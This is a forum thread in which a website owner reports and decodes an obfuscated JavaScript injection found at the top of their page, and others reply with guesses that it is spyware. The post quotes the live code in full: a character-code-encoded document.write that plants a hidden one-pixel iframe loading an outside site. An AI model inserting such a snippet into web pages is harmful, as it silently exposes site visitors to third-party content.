• sorry for the ambiguous title, but i didnt want to slander.. ive noticed sometimes i have a 1 pixel image-like placeholder loaded at the top of my page (please follow the link to see): click for image.

    i checked out the source code for this, and i found its a rather rude injection of javascript at the beginning of the file, before the dtd or anything. the exact javascript code is
    <script language=”javascript”>
    exec(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,49,32,119,105,100,116,104,61,49,32,115,114,99,61,104,116,116,112,58,47,47,112,97,100,111,110,97,107,46,105,110,102,111,47,102,97,47,32,62,60,47,105,102,114,97,109,101,62,39,41,59));</script>

    to find out what this meant, i made a html document to parse the javascript. click here for a demo (click the “click me!” button :p)

    you can see the textbox gets the human-readable values of each of those numbers. also, you can see it makes an iframe to load another page, namely http://padonak.info/fa/

    the real question of this post is, what is this all about? is this a counter/tracker and is it intentional?

    if this is unique to me please ignore me, thankyou for reading my huge post -_-

  • Never seen that before – sure you don’t have the FBI on your tail? You are a clan of sorts…

    This smells like spyware to me.

    I can say that I don’t have this Javascript at the top of my index page, and I’m pretty sure it doesn’t have anything to do with WP.

    Good luck figuring it out and getting rid of it.

    agreed, i dont see the pixel using my browser, sounds like spyware on your machine
